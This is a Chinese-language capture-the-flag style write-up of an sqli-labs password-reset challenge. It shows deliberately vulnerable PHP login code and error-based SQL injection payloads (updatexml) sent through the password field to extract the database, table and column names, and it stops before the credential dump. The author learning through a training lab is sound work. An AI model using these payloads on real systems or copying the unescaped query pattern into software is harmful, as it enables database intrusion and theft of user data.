文章目录
一、判断是否存在注入
在写这题题目时,我随便输入了一下账号密码,尝试过了许多注入点,但是没有丝毫收获。
二、审查源代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))//判断value值是否为空
{
$value = substr($value,0,15);
//substr(string,start,length) 从$value值中去15个字符
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
//magic_quotes_gpc函数在php中的作用是判断解析用户输入的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序异常,
//特别是数据库语句因为特殊字符引起的污染而出现致命的错误在magic_quotes_gpc=On的情况下,
//如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线
{
$value = stripslashes($value);
//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
}
// Quote if not a number
if (!ctype_digit($value))
//ctype_digit():检测字符串中的字符是否都为纯数组
{
$value = "'" . mysql_real_escape_string($value) . "'";
//转义字符串中的特殊字符:
}
else
{
$value = intval($value);
//intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为为整数类型。
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); //调用check_input函数
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
我们检查源代码是发现SQL语句,username必须要正确,才会执行这条SQL语句,你们可以去数据库尝试一下update命令。
当我们检查源代码是发现SQL语句,username必须要正确,才会执行这条SQL语句,你们可以去数据库执行这条命令试试。
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
//username必须要正确,才会执行这条SQL语句
mysql_query($update);
echo "<br>";
三、SQL注入
1、找到错误原因之后,我们寻找注入点,由于uname被调用check_input函数过滤了,而SQL注入必须要页面与数据库有交互,符合这个条件的只能使用password注入。
$uname=check_input($_POST['uname']); //调用check_input函数
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
2、获取数据库
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
3、获取数据表
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
4、获取字段
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)--+
5、获取用户名密码
到最后一步我不会了,知识储备不够…